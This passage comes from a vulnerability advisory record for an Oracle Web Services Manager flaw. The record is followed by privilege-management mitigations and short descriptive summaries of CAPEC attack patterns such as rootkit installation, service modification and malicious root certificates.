  "details": "Vulnerability in the Oracle Web Services Manager product of Oracle Fusion Middleware (component: Web Services Security).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Web Services Manager.  While the vulnerability is in Oracle Web Services Manager, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Web Services Manager accessible data as well as  unauthorized access to critical data or complete access to all Oracle Web Services Manager accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).",
  "id": "GHSA-6rxf-9crp-qw88",
  "modified": "2026-08-18T21:32:10Z",
  "published": "2026-08-18T21:32:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61001"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspuaug2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-1
Architecture and Design Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Mitigation MIT-46
Architecture and Design

Strategy: Separation of Privilege

  • Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
  • Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts

An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.

CAPEC-441: Malicious Logic Insertion

An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.

CAPEC-478: Modification of Windows Service Configuration

An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.

CAPEC-479: Malicious Root Certificate

An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.

CAPEC-502: Intent Spoof

An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.

CAPEC-503: WebView Exposure

An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.

CAPEC-536: Data Injected During Configuration

An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.

CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment

An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.

CAPEC-550: Install New Service

When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.

CAPEC-551: Modify Existing Service

When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.

CAPEC-552: Install Rootkit

An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.

CAPEC-556: Replace File Extension Handlers

When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.

CAPEC-558: Replace Trusted Executable

An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.

CAPEC-562: Modify Shared File

An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.

CAPEC-563: Add Malicious File to Shared Webroot

An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.

CAPEC-564: Run Software at Logon

Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.

CAPEC-578: Disable Security Software

An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.

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